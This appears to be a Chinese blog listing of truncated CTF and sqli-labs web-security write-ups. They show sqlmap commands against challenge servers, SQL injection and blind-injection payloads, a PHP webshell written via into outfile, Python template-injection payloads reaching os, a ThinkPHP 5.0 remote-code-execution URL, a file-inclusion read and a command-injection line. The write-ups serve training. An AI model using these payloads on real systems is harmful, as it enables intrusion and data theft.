web安全
藏蓝色的达达
这个作者很懒,什么都没留下…
展开
-
2020.4.10 xctf(ics-04)
题目提示在登陆、注册页面有SQL注入漏洞除了忘记密码的那块,其他地方都没找到注入点用sqlmap在这里跑一下,看有没有注入获取数据库名:python sqlmap.py -u "http://159.138.137.79:49507/findpwd.php" --data "username=1" --dbs --batch获取表名:python sqlmap.py -u "http...原创 2020-04-20 21:53:00 · 503 阅读 · 0 评论 -
2020.4.9 xctf(Cat)①
给url参数传入参数%80,Django报错,根据报错知道网站是Django开发 结合PHP可以通过在参数中注入@来读取文件的漏洞,首先看看配置文件settings.py,看看有没有相关的有用的信息。Payload:?url=@/opt/api/api/settings.py得到数据库名为 database.sqlite3再获取数据库内容Payload:?url=@/opt/api/...原创 2020-04-19 21:49:59 · 330 阅读 · 0 评论 -
2020.4.8 xctf(fakebook)
提示让我们注册一个账号,这里随便注册,注意一下blog的格式就行。然后用我们注册好的账号进行登录。登录后发现url 为 http://111.198.29.45:33988/view.php?no=1 ,第一时间想到是否存在sql注入,我们输入 ’根据报错的显示,可以肯定存在sql注入的,然后我们用 order by 语句判断查询的字段数目,以便于后续进行 union 查询,先 ...转载 2020-04-10 20:50:46 · 690 阅读 · 0 评论 -
2020.4.6 xctf(shrine)②
首先打开网站,看到网站的源码:import flaskimport osapp = flask.Flask(__name__)app.config['FLAG'] = os.environ.pop('FLAG')@app.route('/')def index(): return open(__file__).read()@app.route('/shrine/&...转载 2020-04-06 22:29:10 · 907 阅读 · 3 评论 -
2020.4.6 xctf(web2)①
感觉这就是一道php写的逆向题主要是得认得几个函数,和读懂 整个代码的逻辑!!1.strrev函数2.substr函数3.str_rot13函数脚本如下:<?php$a=" a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";$a=str_rot13($a);$a=strrev($a);$a=b...原创 2020-04-06 21:02:22 · 219 阅读 · 0 评论 -
2020.4.5 xctf(mfw)②
打开网页看见(猜测git源码泄露):在URL后面加上./git发现:使用工具GitHack进行爬取发现源码内存在flag.php 感觉没啥用if (isset($_GET[‘page’])) {$page = $_GET[‘page’];} else {$page = “home”;}$file = “templates/” . $page . “.php”;// I ...转载 2020-04-05 23:34:46 · 238 阅读 · 0 评论 -
2020.4.5 xctf(lottery)①
摇奖中彩票,规则及金额都标明了,7位数全对有大奖flag在这,需要钱买又因为true和任意一个数字都满足 == ,因此我们猜想能不能通过改包,将准备购买的数字全换成true,直接中大奖,进行刷钱。我们先在本地验证一下!!!由于我们的请求体值的数据是采用json格式的,而且json可以支持boolean,因此我们构造 [true,true,true,true,true,true,tru...原创 2020-04-05 22:12:00 · 244 阅读 · 0 评论 -
2020.4.4 sqli-labs--第十五、十六关 ②
less-15 POST - Blind- Boolian/time Based - Single quotes (基于bool型/时间延迟单引号POST型盲注)方法一盲注 - 基于布尔值 - 字符串怎么输入都没有回显,那就时间延迟吧。布尔测试payloaduname=admin' and 1=1 --+&passwd=admin&submit=Submit //登...原创 2020-04-04 21:52:52 · 463 阅读 · 0 评论 -
2020.4.4 sqli-labs--第十三、十四关③
Less-13 POST - Double Injection - Single quotes- String -twist (POST单引号变形双注入)方法一通过报错可知 是通过’) 闭合的发现没有登入成功返回信息 ,看来是要盲注了万能密码: 账号admin’)# 密码:随便方法二:既然它返回错误信息了,说明有回显,可以报错注入。数据库名uname=admin') and e...原创 2020-04-04 17:43:36 · 383 阅读 · 0 评论 -
2020.4.3 sqli-labs--第八、九、十关②
方法一:看是否有file权限,利用into outfile1.?id=2’ --+ 页面回显正常,不赘述了,这里是单引号字符型注入2.页面没有显示位,没有数据库报错信息。我们先尝试一下是否有file权限(先判断字段数)3.当输入3时返回正常,输入4时不返回。http://127.0.0.1/sqli-labs/Less-8/?id=1' union select 1,"<?php...原创 2020-04-04 16:11:51 · 511 阅读 · 0 评论 -
2020.4.3 sqli-labs--第十一、十二关①
对于post传参的我们最好用bp输入admin admin 登陆,抓包,发送到repeater模块在repeater中通过修改post的参数进行注入。方法一 extractvalue测试payloaduname=admin' and 1=1 --+ &passwd=admin&submit=Submit //能登陆uname=admin' and 1=2 --+ &...原创 2020-04-03 21:37:54 · 523 阅读 · 0 评论 -
2020.4.2 sqli-labs--第五,六关
第五关.盲注是注入攻击的其中一种,向数据库发送true或false这样的问题,并搞根据应用程序返回的信息判断结果,这种攻击的出现是因为应用程序配置为只显示常规错误,但并没有解决SQL注入存在的代码问题。1.经错测试发现,当输入?id=3时页面显示正常,具体如下当输入?id=486页面显示如下说明页面没有显示位。无法使用联合查询注入2.接着我们尝试在URL中输入 ?id=2’ 页面出...原创 2020-04-03 00:03:23 · 250 阅读 · 0 评论 -
2020.4.2 sqli-labs--第7关①
1.这里科普一下file权限和into outfile这个函数。数据库的file权限规定了数据库用户是否有权限向操作系统内写入和读取已存在的权限。into outfile命令:select into outfile命令作用将查询结果输出保存到一个文件中使用的环境:我们必须知道,服务器上一个可以写入文件的文件夹的完整路径2.我们正常输入?id=1页面回显如下3.当我们输入 and 1=2...转载 2020-04-02 23:30:37 · 781 阅读 · 1 评论 -
2020.4.1 sqli-labs--第一至第四关
1.验证方式:’ 或 and 1=1 and 1= 2 如果页面不显示内容或者报mysql错误,就说明存在注入。(get和post传参都可用)2.mysql5.0以上的版本中,为了方便管理,默认定义了information_schema数据库,用来存储数据库元信息,其中具有表schemata(数据库名)、tables(表名)、columns(列名或字段名)schemata表中,s...原创 2020-04-01 19:18:25 · 335 阅读 · 0 评论 -
2020.3.31xctf(Web_php_unserialize)③
<?php class Demo { private $file = 'index.php'; public function __construct($file) { $this->file = $file; } function __destruct() { echo @highlight_file($th...原创 2020-03-31 21:36:04 · 351 阅读 · 0 评论 -
2020.3.31 xctf(Web_python_template_injection)①
根据题意可知python模块注入测试payload:http://111.198.29.45:31069/{{3+4}}执行了{{}}中的代码。{{''.__class__.__mro__[2].__subclasses__()}}{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].list...转载 2020-03-31 20:18:34 · 328 阅读 · 0 评论 -
2020.3.30 xctf(upload1)④
但是当我们想要上传php文件的时候会出现弹窗,并且连“上传”按钮都被禁用了这里是在 客户端进行 了限制也就是在js代码上进行了限制。我们只要上传符合他白名单的后缀名文件,然后bp抓包,将后缀改成 .php 即可。以下有两种方法来获得flag。①法一:上传一句话,菜刀连接。②法二:通过在bp中修改,执行一些命令。右键查看源码或者F12...原创 2020-03-30 21:57:32 · 251 阅读 · 0 评论 -
2020.3.30 xctf(unserialize3)③
我们访问目标网址,根据__wakeup魔术方法和题目名字,可以猜到这里是用到了php反序列化class xctf{ //定义一个名为xctf的类public $flag = '111'; //定义一个公有的类属性$flag,值为111public function __wakeup(){ //定义一个公有的类方法__...转载 2020-03-30 19:42:13 · 242 阅读 · 0 评论 -
2020.3.30 xctf(PHP2)②
⑴我们发现有个index.php,我们访问一下,没有结果…那么我们看看能否看看该网页php地源码,这里用到了.phps.phps后缀释义: phps文件就是php的源代码文件。 通常用于提供给用户(访问者)查看php代码,因为用户无法直接通过Web浏览器看到php文件的内容,所以需要用phps文件代替于是我们访问index.phps,看到下图所示:ctrl+U看到完整php代码是:<...原创 2020-03-30 17:22:25 · 366 阅读 · 0 评论 -
2020.3.30 xctf(NaNNaNNaNNaN-Batman)①
我们将其放在phpstudy的www先,在浏览器中看看是个啥样子!eval函数,这是执行函数;这里执行了_变量中的内容也就是’'中的内容,但是,要注意的是,它并没有执行()函数,仅仅执行了字符串而已(从而导致乱码),因而页面html页面没有任何显示,只显示了input标签的内容,但是我们想让源代码正常显示出来,不进行执行,那么,我们就用到了alert弹窗(将eval函数改为alert),将乱码的...原创 2020-03-30 16:30:47 · 301 阅读 · 1 评论 -
2020.3.29 xctf(NewsCenter)①
打开题目,有一处搜索框,搜索新闻。考虑xss或sql注入这里我们介绍两种手动和sqlmap①手动测:我们这里先用order by 手动测字段数,发现当4的时候页面就不能正常显示了,所以这里应该是3。查询当前数据库中的所有表名:1' union select 1,2,group_concat(table_name) from information_schema.tables where ...原创 2020-03-29 23:59:37 · 446 阅读 · 0 评论 -
2020.3.28 xctf(warmup)②
由于不熟悉PHP的几个函数,我查了几个小时才弄明白后面讲的什么!!可以看到有注释source.php,访问后可以看到其源码发现一个hint.php文件,先访问一下我猜测flag就在这个ffffllllaaaagggg里面现在我们就开始看看代码中讲的啥!!这里就相当于创建一个python中的字典(当然这里是php)...原创 2020-03-28 21:52:22 · 420 阅读 · 0 评论 -
2020.3.28 url中/和./和../和无/的区别④
方式一:没有斜杠,跳转到和自己(rootPath.html)同目录下的layout页面方式二:单斜杠加前有一点,跳转到和自己(rootPath.html)同目录下的layout页面总结:方式一和方式二效果是相同的。方式三:单斜杠,跳转到整个网站根目录下的(如果是在本机测试,也就是http://localhost:8080/,注意此路径不包括项目名,只到项目名的上一级,易错认为是到we...转载 2020-03-28 21:47:22 · 322 阅读 · 0 评论 -
2020.3.28 xctf进阶()①
看源码,可能是不想让我们使用php://input伪协议因为strstr函数匹配php://,str_replace函数将php://替换为空但是strstr区分大小写,因此我们可以使用大小写绕过这里我们看看strstr()函数的实例:php://input 是个可以访问请求的原始数据的只读流。用bp抓包:在这里插入图片描述...原创 2020-03-28 19:06:54 · 212 阅读 · 0 评论 -
2020.3.27 (php_rce)③
本题使用的框架是ThinkPHP 5.0 的框架。此版本存在getshell漏洞(百度一下poc一抓一大把)查找flag:http://111.198.29.45:45747/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=...原创 2020-03-27 23:31:17 · 242 阅读 · 0 评论 -
2020.3.27 xctf(Training-WWW-Robots)②
用御剑扫一下目录点开robots.txt将robots.txt换成fl0g.php就可以了原创 2020-03-27 22:42:17 · 232 阅读 · 0 评论 -
2020.3.27 xctf(baby_web)①
观察题目内容,想想初始页面是哪个,再看看URL,尝试输入index.php试试看,发现直接跳转到1.php那就用bp抓包拦截下来index.php页面,发送到repeater,go一下...原创 2020-03-27 22:27:58 · 284 阅读 · 0 评论 -
2020.3.25 bugku(31-35)
31.看起来是个上传题,提示只能上传图片,这时候就需要拿出我们的一句话来了。首先来试试水,上传一个一句话木马,使用burp抓包,修改content-type为image/jpeg上传失败,可能是对文件进行了过滤,让我们来绕过试一下这个题是对文件类型进行了两次判断ultipart/form-data : 需要在表单中进行文件上传时,就需要使用该格式,意思是他通过表单会对文件格式再进行一次判...原创 2020-03-26 23:58:49 · 491 阅读 · 0 评论 -
2020.3.24 bugku(26-30)
26.这句话用于告诉服务器我来自哪个页面,题目的提示google。27.<?php$md51 = md5('QNKCDZO');$a = @$_GET['a'];$md52 = @md5($a);if(isset($a)){if ($a != 'QNKCDZO' && $md51 == $md52) { echo "nctf{*************...原创 2020-03-24 23:37:39 · 284 阅读 · 0 评论 -
2020.3.23 bugku(21-25)
21.我们看到响应头中flag字段对应字符串“6LeR55qE6L+Y5LiN6ZSZ77yM57uZ5L2gZmxhZ+WQpzogT0RVME16ZzA=”,字符串以“=”结尾,很自然联想到可能是base64编码。base64解码为:“跑的还不错,给你flag吧: ODU0Mzg0”3,我们看到base64解码后的中的字符串“ODU0Mzg0”是8位,不仅8位还看着怪怪的,再次base64...原创 2020-03-24 18:23:43 · 646 阅读 · 0 评论 -
2020.3.22 bugku(16-20)
16.这是一个典型的文件包含漏洞,(file关键字是提示,其实也是CTF的套路)。利用:http://120.24.86.145:8005/post/index.php****?file=php://filter/read=convert.base64-encode/resource=index.php这个很明显是base64编码的。然后将得到的字符串base64解码得到index的源码...原创 2020-03-23 15:30:49 · 438 阅读 · 0 评论 -
2020.3.21 bugku(11-15)
JSFuck(或为了避讳脏话写作 JSF*ck )是一种深奥的 JavaScript编程风格。以这种风格写成的代码中仅使用 [、]、(、)、! 和 + 六种字符。此编程风格的名字派生自仅使用较少符号写代码的Brainfuck语言。与其他深奥的编程语言不同,以JSFuck风格写出的代码不需要另外的编译器或解释器来执行,无论浏览器或JavaScript引擎中的原生 JavaScript 解释器皆可直接运行。鉴于 JavaScript 是弱类型语言,编写者可以用数量有限的字符重写 JavaScript 中的所有功原创 2020-03-21 21:31:38 · 250 阅读 · 0 评论 -
2020.3.20 bugku(6-10)
6.点击之后F12查看源代码。然后将注释的内容在站长工具中进行unico转码(KEY{J2sa42ahJK-HS11III})***7.***(域名解析时会先在本地进行解析,要是本地没有才会进行远程解析)...原创 2020-03-19 23:58:35 · 168 阅读 · 0 评论 -
2020.3.18 bugku(1---5)
1.解:直接F12查看网页源码,找到flag。2.解:题目提示是计算器,且输入框内始终只能输入一个数字,我们猜测它是对输入长度进行了 限制。我们通过菜单 web开发者>>调试器 然后将鼠标移动到输入框,双击就能找到源代码所在位置。然后修改长度,输入正确答案。 bingo!!3.4.这里用hackbar传参。5.这是关于php弱类型的比较,我在前几天的博客中写了的,...原创 2020-03-19 20:00:33 · 205 阅读 · 0 评论 -
2020.3.17 XCTF的基础题
题目描述目标:了解php一句话木马、如何使用webshell我们这里使用菜刀进行连接(也可以用蚁剑):题目描述:这是远程命令执行(rec),我给个pikachu的讲解视频,里面讲的很基础,很适合像我这种零基础的小白。pikachu步骤:1.打开浏览器,在文本框内输入127.0.0.1 | find / -name “flag.txt” (将 | 替换成 & 或 &&am...原创 2020-03-19 18:54:20 · 289 阅读 · 0 评论 -
2020.3.19 XCTF的基础题
题目描述:(学会使用hackbar)1.打开hackbar,用get方式传递a=1,如图所示2.勾选hackbar上的Enable post data,用post方式传递b=2,可获得flag,如图所示原理:X-Forwarded-For:简称XFF头,它代表客户端,也就是HTTP的请求端真实的IP,只有在通过了HTTP 代理或者负载均衡服务器时才会添加该项HTTP Referer...原创 2020-03-19 18:41:18 · 459 阅读 · 0 评论 -
2020.3.16 xctf_Cyberpeace-n3k0
初识web安全题外话:我以前是学逆向和pwn的,每每看到别人学web那么厉害我心里痒痒的,所以开启了我web之路。但是 我的逆向之路并没有放弃,明天开始继续窥探逆向和web的世界,pwn的话,要是有时间就看看。文章写的不是很好,望不要见笑。先说说这个php的弱类型比较,见链接:关于弱类型的比较php中的弱类型比较会使’abc’ == 0为真,所以输入a=abc时...原创 2020-03-17 00:03:17 · 1437 阅读 · 0 评论